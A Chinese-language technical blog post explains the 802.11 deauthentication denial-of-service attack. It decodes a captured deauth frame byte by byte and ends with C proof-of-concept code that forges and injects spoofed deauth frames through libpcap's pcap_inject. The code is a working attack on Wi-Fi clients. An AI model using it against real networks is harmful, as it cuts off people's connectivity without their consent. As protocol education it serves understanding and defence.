IEEE 802.11 Denial-of-Service: Deauthentication Attack

使用 WPA / WPA2 能让你的数据有更好的安全保障,但是攻击者可以利用基于802.11设计上的缺陷来对你进行拒绝服务攻击,也就是 deauthentication 攻击。攻击者首先需要知道你的 Wi-Fi 的 MAC 地址,然后伪装成你的身份给 AP (或者说路由器) 发送 deauthencation 包。这样一来,AP 在收到了来自“你”的 deauthencation 包之后,就会断开和你的连接。虽然仅仅是用这种方法并不能窃取到你的数据(结合其他方法有可能能破解 AP 的密码,但是不在本文的讨论范围之内),并且这个方法的目的也不是要窃听数据,而是让你连不上自家的 AP。如此一来,你也不得不拿出网线。而且不管你使用什么加密方式、密码强度有多高,甚至隐藏你的 SSID (毕竟隐藏 SSID 正如字面意义上的,它只是藏了 SSID,并不是隐藏了你和 AP 之间的数据包)都不行。

802.11 - 2012 标准 8.2.4.1.3 Type and Subtype fields 下面,列举了所有有效的 MAC 帧的 type 与 subtype 的组合,这里我们关注的 deauthentication 是 type 为 management 的帧。

Type value
b3 b2
Type
description
Subtype value
b7 b6 b5 b4
Subtype description
00 Management ... ...
00 Management 1100 Deauthentication
00 Management ... ...
Captured deauthentication packet
Captured deauthentication packet

可以看到,在无线网络中,MAC 子层的通信是不加密的,于是我们可以利用 pcap 抓包,确定这个 AP 有哪些 STA (IEEE 802.11 将你的设备称为 STA,station,路由器则是 AP,access point)。拿到 STA 的 MAC 之后,我们只需要伪造 MAC 管理子层的 deauthentication 类别的包就可以了。

以上面抓包得到的数据为例子,需要我们伪造的部分已高亮标记。

0000   00 00 19 00 6f 08 00 00 6c 2f 09 34 00 00 00 00
0010   12 0c 3c 14 40 01 cb a6 01 c0 00 3c 00 88 1f a1
0020   33 24 24 dc 2b 2a 2a dc cc 88 1f a1 33 24 24 40
0030   eb 07 00 38 71 57 f4

在这一整段数据中,前 25 字节是 Radiotap Header,这里不用我们自己控制,通过 pcap_set_datalink(pcap_handle, DLT_IEEE802_11_RADIO) 设置即可。接下来高亮部分,共计 26 字节就是我们需要做的数据。最后 4 字节是 FCS,帧校验序列,这个也是由 pcap 帮我们计算。

那么高亮部分的数据的第 1 字节,也就是 'C0' (11000000),它的高 6 位已经在 8.2.4.1.3 Type and Subtype fields 中解释了,11000000 对应 deauthentication 这个 subtype,11000000 表示这个 MAC 帧是 management 类别,最后 11000000 表示帧版本。接下来第 2 字节的 '00' 是对应 flags。第 3, 4 字节的 '3C 00' 表示 duration。

再接下来的 6 个字节,'88 1F A1 33 24 24',也就是第 [5, 10] 字节,是接收者的 MAC,表示 AP 应该将这个包送给谁,这里显然是送给 AP 自己。随后的 6 个字节,'DC 2B 2A 2A DC CC',则是发送者的 MAC 地址。后面的 6 字节,'88 1F A1 33 24 24',表示这个数据包是送给哪一个 AP 的,即 BSSID。因为是无线电波,所以实际上所有的 AP 都能收到这个包,但是某个 AP 是否处理这个包,则是看这 6 个字节。

此时就到了第 23, 24 字节,'40 EB',这个是序列号,但是并不重要,不会影响。最后的 2 字节则是 deauthentication 包的 Reason Code。目前 IEEE 802.11 - 2012 标准中定义的 Reason Code 在 540 页的 Table 8-36—Reason codes 中。这里的 '07 00' 表示 Class 3 frame received from nonassociated STA。理论上我们任意选择一个 Reason Code 都是可行的。

那么现在先定义我们需要构造的那 26 字节,

#define DEAUTH_REQ \
    "\xC0\x00"                  /* Type: Management Subtype: Deauthentication  */ \
    "\x3C\x00"                  /* Duration */ \
    "\xCC\xCC\xCC\xCC\xCC\xCC"  /* Destination MAC Address */ \
    "\xBB\xBB\xBB\xBB\xBB\xBB"  /* Transmitter MAC Address */ \
    "\xBB\xBB\xBB\xBB\xBB\xBB"  /* BSSID */\
    "\x00\x00"                  /* Sequence Number */\
    "\x01\x00"                  /* Unspecified reason */

对于发送者、接收者和BSSID我们都暂时用其他字节替代,序列号设置为 0 就可以,Reason Code 就按照 IEEE 802.11 - 2012 定义的 1 就可以了。 Unspecified reason,你问我为什么,我只能回答你无可奉告。

然后为了符合 pcap_inject 的要求,还需要告知 radio 长度。

char deauth[34] = {0};
uint16_t radioLen = 8;
memcpy(&deauth[2],  &radioLen,    2);
memcpy(&deauth[8],  DEAUTH_REQ,   26);
memcpy(&deauth[12], &mac,   6);
memcpy(&deauth[18], &bssid, 6);
memcpy(&deauth[24], &bssid, 6);

然后我们就可以让 pcap_inject 来做工作了。完整的概念性代码如下

char pcap_error[PCAP_ERRBUF_SIZE];
pcap_t * pcap_handle = pcap_open_live("en0", 65536, 1, 1, pcap_error);
if (!pcap_handle) return 0;
pcap_set_datalink(pcap_handle, DLT_IEEE802_11_RADIO);
char deauth[34] = {0};
uint16_t radioLen = 8;
memcpy(&deauth[2],  &radioLen,    2);
memcpy(&deauth[8],  DEAUTH_REQ,   26);
memcpy(&deauth[12], &mac,   6);
memcpy(&deauth[18], &bssid, 6);
memcpy(&deauth[24], &bssid, 6);
pcap_inject(pcap_handle, deauth, 34);
deauth
deauth

Leave a Reply

Your email address will not be published. Required fields are marked *

9 + 8 =